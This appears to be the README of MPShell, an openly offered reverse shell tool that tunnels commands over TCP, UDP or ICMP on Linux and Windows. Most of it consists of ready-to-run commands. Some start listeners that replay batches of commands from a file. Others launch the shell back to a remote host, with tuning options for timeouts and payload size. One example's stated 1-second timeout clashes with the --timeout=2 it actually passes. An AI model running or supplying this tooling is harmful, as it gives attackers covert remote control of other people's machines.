MPShell

Multi-protocol (TCP, UDP, ICMP) multi-OS reverse shell

• supports TCP, UDP & ICMP protocols
• works on Linux & Windows
• supports command input from a file and result output to a file

Starting a TCP listener

./MPListener --protocol=tcp --port=8080

To start a TCP listener that accepts a list of commands that will be executed when the client connects from a file (one command per line) and writes the result to a file, --command-file & --result-file options are used. After all the commands have been executed, input falls back to stdin. Output can then also be redirected to stdout by using $close-output command.

./MPListener --protocol=tcp --port=8080 --command-file=/path/commands.txt --result-file=/path/result.txt

---

Starting a UDP listener

./MPListener --protocol=udp --port=8080
./MPListener --protocol=udp --port=8080 --command-file=/path/commands.txt --result-file=/path/result.txt

---

Starting a ICMP listener

To start a ICMP listener, root is required, given that raw sockets are used, and automatic ICMP kernel replies need to be disabled. Root is only required on the server side for ICMP protocol. On the client side non-raw ICMP sockets are used socket(AF_INET, SOCK_DGRAM, IPPROTO_ICMP) if the user is allowed to use them based on the contents of /proc/sys/net/ipv4/ping_group_range file.

./MPListener --protocol=icmp
./MPListener --protocol=icmp --command-file=/path/commands.txt --result-file=/path/result.txt

Starting a reverse shell

./MPShell --protocol=tcp --host=192.168.0.15 --port=8080
./MPShell --protocol=udp --host=192.168.0.15 --port=8080
./MPShell --protocol=icmp --host=192.168.0.15

Setting additional options for a reverse shell

The following line sets the read timeout to 1 second, sleep between packets (when there is no payload to send) to 500 ms, and the payload size to 1000 bytes.

./MPShell --protocol=udp --host=192.168.0.15 --port=8080 --timeout=2 --sleep=500 --payload-size=1000
